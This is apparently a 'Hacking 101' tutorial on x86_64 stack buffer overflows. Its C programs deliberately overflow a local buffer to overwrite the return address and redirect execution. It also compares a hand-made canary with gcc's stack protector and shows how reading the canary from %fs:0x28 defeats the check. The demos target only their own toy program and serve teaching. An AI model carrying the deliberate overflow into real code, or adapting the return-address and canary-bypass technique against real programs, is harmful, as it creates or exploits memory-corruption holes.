Hacking 101 – stack buffer overflows on x86_64
I won’t explain in too much detail, but the following code creates a buffer overflow that controls the return instruction pointer on the stack, changing the flow of the code into calling func2().
/*
compile: gcc test.c -fno-stack-protector
run: ./a.out 4 (or ./a.out 2… greater than ./a.out 1)
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
//#define USE_CANARY
void func2()
{
printf(“I did it!n”);
}
void func(const char *input)
{
#ifdef USE_CANARY
long int canary = 0xdeadbeefc001d00d;
#endif
char buf[256];
// strcpy(buf, input);
// cause there’s a null in the address…
memcpy(buf, input, 256+8*8);
// buffer overfl0wwwwwwwwwww
printf(“buf: %sn”, buf);
fflush(stdout);
#ifdef USE_CANARY
if (canary != 0xdeadbeefc001d00d) {
printf(“Buffer overflow detected! Aborting!n”);
abort();
}
#endif
}
int main(int argc, char **argv)
{
char input[1024];
int loop;
// fill up input with ‘A’ x 256 (leaving 1024-256 bytes left)
memset(input, ‘A’, 256);
printf(“size of func2’s pointer (in bytes): %ldn”, sizeof(&func2));
printf(“func2’s address: %lxn”, (unsigned long) func2);
if (argc < 2) {
loop = 4;
}
else {
loop = atoi(argv[1]);
}
// fill past the ‘A’s with a pointer to func2(), up to “loop”.
for (int i = 0; i < loop; i++) {
unsigned long *p = (unsigned long *) (input + 256 + i * sizeof(&func2));
*p = (unsigned long) func2;
}
printf(“input: %sn”, input);
// verify the func2’s addresses are actually inside the input buffer.
for (int i = 0; i < loop; i++) {
char *p = input + 256 + i * sizeof(&func2);
unsigned long *q = (unsigned long *) p;
printf(“address: %lxn”, *q);
}
// call func with input buffer.
func(input);
}
Output:
gcc test.c -fno-stack-protector
$ ./a.out
size of func2’s pointer (in bytes): 8
func2’s address: 561e883a51e9
input: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�Q:�V
address: 561e883a51e9
address: 561e883a51e9
address: 561e883a51e9
address: 561e883a51e9
buf: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�Q:�V
I did it!
I did it!
I did it!
Segmentation fault (core dumped)
Creating our own Canary
Notice if you compiled with -DUSE_CANARY, it uses our artificial canary, and will abort before the overflow exploits the return instruction pointer.
gcc test.c -fno-stack-protector -DUSE_CANARY
$ ./a.out
size of func2’s pointer (in bytes): 8
func2’s address: 562a98ea0209
input: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA �*V
address: 562a98ea0209
address: 562a98ea0209
address: 562a98ea0209
address: 562a98ea0209
buf: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA �*V
Buffer overflow detected! Aborting!
Aborted (core dumped)
Comparing with gcc’s canary
Now if you look at a normal compilation, and check out the assembly using `objdump -D ./a.out`
0000000000001223 <func>:
1223: f3 0f 1e fa endbr64
1227: 55 push %rbp
1228: 48 89 e5 mov %rsp,%rbp
122b: 48 81 ec 20 01 00 00 sub $0x120,%rsp
1232: 48 89 bd e8 fe ff ff mov %rdi,-0x118(%rbp)
1239: 64 48 8b 04 25 28 00 mov %fs:0x28,%rax
1240: 00 00
1242: 48 89 45 f8 mov %rax,-0x8(%rbp)
1246: 31 c0 xor %eax,%eax
…. more opcodes ….
… followed at the end by …
12a4: e8 17 fe ff ff call 10c0 <__stack_chk_fail@plt>
12a9: c9 leave
12aa: c3 ret
This is the setting of the canary and the checking of the canary at the end of the function, done by the compiler.
The objdump without stack protector for func is:
<func>:
1203: f3 0f 1e fa endbr64
1207: 55 push %rbp
1208: 48 89 e5 mov %rsp,%rbp
120b: 48 81 ec 10 01 00 00 sub $0x110,%rsp
1212: 48 89 bd f8 fe ff ff mov %rdi,-0x108(%rbp)
You can see the canary’s secret value is stored in %fs:0x28, and gets moved to register %rax, which then gets copied onto the frame pointer %rbp – 8 bytes, which is just before the saved frame pointer, and two pointers from the return instruction pointer on the stack.
If you can leak the %fs:0x28 value, you can overwrite the canary with the same value during the overflow, and thus bypass the canary check.
This is the reason why %rax is cleared (xor %rax, %rax), to avoid leaking the value in the %rax register.
Getting the canary secret value from gcc via some means, and then using it
Source code follows:
/*
compile: gcc test.c -fno-stack-protector
run: ./a.out 4 (or ./a.out 2… greater than ./a.out 1)
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
//#define USE_CANARY
unsigned long get_canary()
{
asm(“mov %fs:0x28, %rax”);
}
void func2()
{
printf(“I did it!n”);
}
void func(const char *input)
{
#ifdef USE_CANARY
long int canary = 0xdeadbeefc001d00d;
#endif
char buf[256];
// strcpy(buf, input);
// cause there’s a null in the address…
memcpy(buf, input, 256+8*8);
// buffer overfl0wwwwwwwwwww
printf(“buf: %sn”, buf);
fflush(stdout);
#ifdef USE_CANARY
if (canary != 0xdeadbeefc001d00d) {
printf(“Buffer overflow detected! Aborting!n”);
abort();
}
#endif
}
int main(int argc, char **argv)
{
char input[1024];
int loop;
// fill up input with ‘A’ x 256 (leaving 1024-256 bytes left)
memset(input, ‘A’, 256);
printf(“size of func2’s pointer (in bytes): %ldn”, sizeof(&func2));
printf(“func2’s address: %lxn”, (unsigned long) func2);
if (argc < 2) {
loop = 2; // loop = 2 is the optimal solution for this case.
}
else {
loop = atoi(argv[1]);
}
unsigned long gcc_canary = get_canary(); // get gcc canary secret value.
// After the ‘AAAA’ put a gcc_canary for us. The space gcc will provide will be 16 bytes, so we just fill
// it up with 2x canary secret values. (assuming loop = 2)
for (int i = 0; i < loop; i++) {
unsigned long *p = (unsigned long *) (input + 256 + i * sizeof(&func2));
*p = (unsigned long) gcc_canary;
}
// Now put a pointer to func2(), at least twice (assuming loop = 2).
for (int i = loop; i < loop * 2; i++) {
unsigned long *p = (unsigned long *) (input + 256 + i * sizeof(&func2));
*p = (unsigned long) func2;
}
printf(“input: %sn”, input);
// verify the func2’s addresses are actually inside the input buffer.
for (int i = 0; i < loop * 2; i++) {
char *p = input + 256 + i * sizeof(&func2);
unsigned long *q = (unsigned long *) p;
printf(“address or canary: %lxn”, *q);
}
// call func with input buffer.
func(input);
}
Output:
gcc test.c
$ ./a.out
size of func2’s pointer (in bytes): 8
func2’s address: 55ad7774c21d
input: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
address or canary: ac9d07067ff30500
address or canary: ac9d07067ff30500
address or canary: 55ad7774c21d
address or canary: 55ad7774c21d
buf: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
I did it!
Segmentation fault (core dumped)